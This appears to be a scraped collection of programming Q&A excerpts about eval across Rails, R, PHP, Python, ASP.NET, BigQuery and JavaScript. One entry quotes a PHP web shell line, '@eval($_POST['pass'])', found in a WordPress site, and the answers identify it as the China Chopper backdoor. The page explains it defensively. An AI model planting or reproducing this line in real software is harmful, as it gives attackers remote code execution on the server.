eval

How to execute view code stored in string in run time with eval in rails 3.2 erb?

穿精又带淫゛_ 提交于 2019-12-10 21:03:27
问题 What we are trying to do is to store a chunk of erb code in a string and then execute the code in run time . Here is a test we did : 1. take out a chunk of the code from a working erb file and, 2. rewrite the erb file with eval. Here is the chunk of erb code taken out: <tr> <th>#</th> <th><%= t('Date') %></th> <th><%= t('Project Name') %></th> <th><%= t('Task Name') %></th> <th><%= t('Log') %></th> <th><%= t('Entered By') %></th> </tr> <% @logs.each do |r| %> <tr> <td><%= r.id %></td> <td><%=

Avoiding eval(parse()) in building fractional polynomial function

試著忘記壹切 提交于 2019-12-10 20:09:29
问题 My goal is to write a function in R that accepts coefficients for a fractional polynomial (FP) and returns a vectorized function which evaluates the specified FP for given input numbers. The FP definition has two important rules: x^0 is defined as log(x) powers can have multiple coefficients, where the 2nd coefficient for power p adds a factor of log(x) to the additive term (x^p*log(x)), the 3rd adds a factor of log(x)^2 (x^p*log(x)^2), and so on My current solution below builds the FP

Found <?php @eval($_POST['pass']);?> code in wordpress site

吃可爱长大的小学妹 提交于 2019-12-10 19:43:30
问题 I found this code in one of my wordpress plugin site. I guess it can be used with malicious intent but what exactly it does and can I find out if it calls some other actions that I should be aware of? 回答1: This PHP script belongs to China Chopper Hacking Kit. https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html 回答2: Yes, it is very bad. I can't imagine any situation where this code could exist as the part of a harmless software. This code

How can I check on runtime that a python module is valid without importing it?

白昼怎懂夜的黑 提交于 2019-12-10 19:23:06
问题 I have a package containing subpackages only one of which I need imported during runtime - but I need to test they are valid. Here is my folder structure: game/ __init__.py game1/ __init__.py constants.py ... game2/ __init__.py constants.py ... For now the code that runs on boot does: import pkgutil import game as _game # Detect the known games for importer,modname,ispkg in pkgutil.iter_modules(_game.__path__): if not ispkg: continue # game support modules are packages # Equivalent of "from

Dynamic WordPress Widget Creation

試著忘記壹切 提交于 2019-12-10 19:08:32
问题 I'm looking for a better way to create widgets dynamically for my plugin. I've read this article and I believe I've grasped the basic usage of how to create a custom widget. Now my question is how I can create multiple widgets dynamically based on predefined options. One way I can think of is to use eval() to declare each extended class but as the class gets bigger, it would be too complicated. I don't think I can handle the php code passed as a function parameter; it's too much work to

#Eval image data

左心房为你撑大大i 提交于 2019-12-10 19:04:46
问题 How can I use Eval for binding sql varbinary data (images) to image? Something like this: <image src = <%# Eval("imageBinaryData") %> /> 回答1: You need to use a HttpHandler to fetch the data and stream it back. You would then link to the handler from your ASPX page. <img class="mainEventsImage" src='<%# Eval("MainImagePath").ToString().Replace("\\", "/") %>' alt='<%# Eval("Title") %>' runat="server" /> if (reader.Read()) { int bufferSize = 100; byte[] bytes = new byte[bufferSize]; long

Why aren't globals copied when I run eval with a globals argument?

瘦欲@ 提交于 2019-12-10 19:03:29
问题 I'm having difficulty understanding how eval() behaves regarding the globals used in the evaluated expression. For example, the following script prints 1 : x = 1 print eval('x') While the following script fails on NameError: name 'x' is not defined : x = 1 print eval('x', {}) However, from the documentation of eval() for my Python version (emphasis mine): The expression argument is parsed and evaluated as a Python expression (technically speaking, a condition list) using the globals and

How to write an NES function that also takes character input?

陌路散爱 提交于 2019-12-10 18:46:02
问题 I´m working on a R package that takes strings as function arguments. Now I want to use non-standard evaluation to allow for non-string input. Also, to keep the backwards compatibility, I´d like to keep the possibility for the functions to take strings. Hadley gives an example with the subset function and suggests that every NES function should be accompanied by a standard evaluation function. library(lazyeval) # standard evaluation subset2_ <- function(df, condition) { r <- lazy_eval

Google BigQuery: Using TABLE_QUERY if project_id contains a hyphen “-”

孤街醉人 提交于 2019-12-10 18:08:39
问题 This extends Jordan's post here: How do I use the TABLE_QUERY() function in BigQuery? Here is an example of working TABLE_QUERY SQL. SELECT count(*) FROM TABLE_QUERY(publicdata:samples, "MSEC_TO_TIMESTAMP(creation_time) < DATE_ADD(CURRENT_TIMESTAMP(), -7, 'DAY')") However, TABLE_QUERY fails if the project_id contains a "-" hyphen. For example: SELECT whatever FROM TABLE_QUERY(other-public-data:samples, "MSEC_TO_TIMESTAMP(creation_time) < DATE_ADD(CURRENT_TIMESTAMP(), -7, 'DAY')") Likely

What's a more secure alternative for eval() when I just want to call a function?

限于喜欢 提交于 2019-12-10 17:55:46
问题 I know PHP has call_user_func , I was just wondering if JavaScript had something similar, where the method I want to call is, for example: object.set$fieldID($fieldValue) I would rather not go through if/else/switch blocks just to execute one line of code properly. If it helps, I am using jQuery. 回答1: object["set" + $fieldID]($fieldValue); Some reading material for the above: Member Operators on MDC. Some advanced methods include Function.prototype.call and Function.prototype.apply. The first